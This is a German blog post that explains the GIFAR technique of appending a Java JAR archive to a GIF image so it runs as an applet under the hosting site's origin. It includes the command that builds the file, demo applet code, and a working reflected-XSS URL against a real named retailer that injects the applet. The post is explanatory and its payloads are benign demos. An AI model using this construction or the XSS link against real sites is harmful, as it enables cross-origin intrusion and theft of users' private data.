GIFAR-Attacke

Laut heise.de gibt es eine neue Attacke gegen Nutzer, die auf einer Kombination von Bilddaten und ausführbarem Java-VM Code (Genauer, einem JAR-Archiv) basiert.

Leider bietet der Artikel bei Heise wenig handfestes.

Aber, kurz zusammengefasst sieht das ganze so aus:

Szenario

Ein Angreifer lädt bei einer Seite, die den Upload von Bildern erlaubt, ein GIF-Bild hoch. (targetsite.inavlid ) Etwa myspace.com oder so.

Dieses Bild enthält, quasi als Anhang, ein JAR-Archiv, also eine Datei die von der Java-VM ausgeführt wird.

Der Angreifer kann diese Bild nun als Applet auf einer anderen Seite (malicious-site.invalid) ausführen lassen. Da dieses Applet von der Seite targetsite.inavlid geladen wurde, wird es auch im Kontext dieser Seite laufen. Das Applet hat nun also die gleichen Rechte die ein echtes Applet von targetsite.inavlid hätte.

Ist man also z.B. auf der Seite von, äh, StudisVZ eingelogt, kann der Angreifer obwohl man auf einer anderen Seite surft alles das machen, was man auf der Seite auch könnte.

Grundlagen

1. Das GIF-Format ist so definiert, dass die Bilddaten vom Dateianfang gelesen werden.
2. Das GIF-Format legt fest, dass der GIF-Datenstrom (also das „GIF Bild“) mit einem ; (0×3b) terminiert wird. (Siehe 27. Trailer). Da ein GIF-Datenblock mit 0×00 terminiert wird, endet eine (gültige) GIF-Datei also immer auf 0×00 0×3b.
   Nach diesen Zeichen sollte kein GIF-Decoder mehr weiter parsen.
3. Das JAR-Format ist so definiert, dass die Daten vom Dateiende gelesen werden.
4. Die JAR-Datei wird solange vom Dateiende an gelesen, bis es den ZIP-Header 0×50 0×4b 0×03 0×04 (Siehe Local File Header) findet.
   Diese Verhalten liegt darin begründet, dass das JAR-Format vom ZIP-Format abstammt und das ZIP-Format die Möglichkeit vorsieht, dass vor dem Beginn des ZIP-Archivs noch etwas steht. Jeder der schon einmal ein selbstextrahierendes ZIP-Archiv benutzt hat, hat diese Feature schon einmal genutzt. Man kann dieses Archiv sowohl mit WinZip (oder ähnlichen Programmen) öffnen, als auch einfach ausführen. Winzip würde dann die Datei einfach nach dem ZIP-Header suchen. Praktisch funktionieren Java-Programme die als .exe daher kommen ähnlich.

Aus 1 und 2 folgt, dass man hinter die Bytes 0×00, 0×3b der GIF-Datei beliebigen Kram anhängen kann, ohne dass das Bild ungültig wird.

Als Beispiel seien hier zwei Gifs angegeben. Das eine enthält hinter dem Ende der Datei den String „malicious code“:

Das Original

Das editierte Bild

Wenn man die beiden Dateien im Hex-Editor öffnet, sieht man das: (Einfach mal testen )

Vergleich der beiden Bilder.

Aus der Verbindung von 1-4 folgt, dass man ein JAR-Archiv problemlos an ein GIF-Bild hängen kann. Dadurch wird keine der beiden Dateien ungültig. Man wird also sowohl das Bild, als auch das JAR-Archiv ohne Einschränkung nutzen können.

Dies kann mit einem einfach cat 959.gif gifar.jar > gifar.gif realisiert werden.

Als (harmloses) Beispiel sollte ein einfach Java-Applet reichen, dass einem anzeigt unter welcher Domain es gerade läuft. Theoretisch sind allerdings natürlich noch zahllose weitere Angriffe denkbar, etwa klassische XSS- oder DDOS-Attacken.

import java.net.URISyntaxException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JApplet;
import javax.swing.*;

public class CodebaseReader extends JApplet {
    public void init() {
        try {
            JTextField tf1 = new JTextField(20);
            setLayout(new java.awt.FlowLayout());
            add(tf1);
            tf1.setText(this.getCodeBase().toURI().toString());
        } catch (URISyntaxException ex) {
            Logger.getLogger(CodebaseReader.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

}

Als (harmloses) Beispiel sollte ein einfach Java-Applet reichen, dass ein Bild von der Domäne quarkmitsauce.file.wordpress.com anzeigt.Theoretisch sollte dies nicht möglich sein, wenn das Applet unter einer anderen URL als quarkmitsauce.file.wordpress.com geladen wird. Dies wäre ein Verstoß gegen die Sicherheitsbeschränkungen die Java-Applets auferlegt sind:

Applets are not allowed to open network connections to any computer, except for the host that provided the .class files. This is either the host where the html page came from, or the host specified in the codebase parameter in the applet tag, with codebase taking precendence.

For example, if you try to do this from an applet that did not originate from the machine foo.com, it will fail with a security exception:

	Socket s = new Socket("foo.com", 25, true);

Da das Applet aber im Kontext der Seite läuft, von der es geladen wird, kann man nun auf einer anderen Seite Dinge machen, die normalerweise nicht möglich sind.

Theoretisch sind also zahllose weitere Angriffe denkbar, etwa klassische XSS- oder, da wir nun zu dem aufrufendem Server eine Socket-Verbdinung herstellen können, DDOS-Attacken.

import java.awt.Image;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.awt.*;
import java.applet.*;

public class CodebaseReader extends Applet {
    Image img;
    public void init() {
        try {
            setLayout(new java.awt.FlowLayout());
            img = getImage(new URL("http","quarkmitsauce.files.wordpress.com","/2008/08/gifar.gif"));

        } catch (MalformedURLException ex) {
            Logger.getLogger(CodebaseReader.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
   public void paint(Graphics g){
     g.drawImage(img, 10,10, this);
   }

}

Hier das GIF von oben, allerdings nun mit angehangenem JAR:

Das GIF mit angehangenem JAR

Leider, kann ich auf wordpress.com keine Applets einbinden. Narf!

Daher muss man

<applet  archive=“http://quarkmitsauce.files.wordpress.com/2008/08/gifar.gif code=“CodebaseReader.class“  width=“300″ height=“100″>
</applet>

in eine HTML-Seite einfügen um das Applet zu laden.

Ich hab mal die Probe aufs Exempel gemacht und das Bild bei

MySpace.com, StudiVZ.de das Bild hochgeladen.

Keine der Seiten hat das Bild abgelehnt.

Aber, auf beiden Seiten kann man nicht mehr an das original Bild kommen, da die Dateien anscheinend durch einen Parser geschickt werden und (im Falle von StudiVZ) in ein JPEG umwandeln.

Da, die Parser das angehängt JAR-Archiv logischerweise nicht sehen können, fällt dieses beim konvertieren weg.

Update-Beispiel

Hier mal als eine Kombination aus XSS und GIFAR:

http://www.obi.de/de/markets/marktsuche/index.html?mgSearch=123““>%3Capplet%20%20archive%3D%22http%3A//quarkmitsauce.files.wordpress.com/2008/08/gifar.gif%22%20code%3D%22CodebaseReader.class%22%20%20width%3D%22300%22%20height%3D%22100%22%3E%3C/applet%3E

Der obige Link wird auf der Seite obi.de ein Java-Applet einbinden, das im Kontext der Seite quarkmitsauce.files.wordpress.com läuft. Da das Applet im Kontext der Seite  quarkmitsauce.files.wordpress.com kann das Applet Bilder von dieser Domäne laden.

Etwas, was eigentlich nicht möglich sein sollte.

Angenommen  man würde sein bösartiges Applet nun auf einer Community-Seite hochladen und als XSS-Ziel irgendeine vertrauenswürdige Seite wählen (etwa obi.de ) könnte man z.B. das Applet nutzen um sich über das Community-System alle als privat markierten Bilder der Nutzer schicken zu lassen.

Fazit

Es ist mal wieder so ein Problem, bei dem alle beteiligten Programme vollkommen korrekt arbeiten, es aber trotzdem eine Sicherheitslücke öffnet.

Man kann SUN nicht vorwerfen, dass sich die Java Engine so verhält. Man kann den GIF-Decodern nicht vorwerfen, dass sich die Decoder so verhalten.

Es ist ein Problem der Seiten die ihren Nutzern ermöglichen eigene Inhalte hochzuladen.

Das allerdings weder myspace.com noch studivz.de dagegen anfällig sind dürfte eher dem Zufall zuzuschreiben sein, als einer Sicherheitsvorkehrung. Die beiden Seiten parsen einfach die Bilder nach dem Upload.

Wie das ganze allerdings aussieht wenn man andere Bildformate nutzt (evtl. eines, dass einem ein Kommentar-Feld ermöglicht, kann ich jetzt (noch) nicht sagen.

Communite-Sites die allerdings Bilder uneditiert zur Verfügung stellen sollten sich auf Angriffe gefasst machen.

Update

Da ich gefragt wurde, wie genau der Browser das dann ausführt, daher der folgende Abschnitt.

Grundsätzlich wird ein Java-Applet mittels des Applet-Tags in HTML eingebunden:

<applet  archive=“http://quarkmitsauce.files.wordpress.com/2008/08/gifar.gif“ code=“CodebaseReader.class“  width=“300″ height=“100″>
</applet>

Die im „archiv“-parameter festgelegte Datei wird dann als an das Java-Plugin weitergegeben, welches das darin enthaltene JAR-Archiv dann ausführt.

Anderes Beispiel, aber ähnliche funktionsweise: Der img-Tag funktioniert genauso.

Bei <img src=“http://quarkmitsauce.files.wordpress.com/2008/08/gifar.gif„> wird auch im src-Parameter festgelegt, welche Datei als Bild verwand wird. Dabei ist es egal, was da drin steht, auch <img src=“http://invalid/picture.php„>wird als Bild angezeigt werden, sofern der Browser unter der URL „http://invalid/picture.php“ ein Bild findet.

Man muss also auf einer anderen Seite einen Applet-Tag unterbringen.

Achso, die getCodebase()-Methode ist anscheinend ziemlich ungeeignet dafür. Daher hab ich das ganze mal auf eine sinnvollere Methode geändert.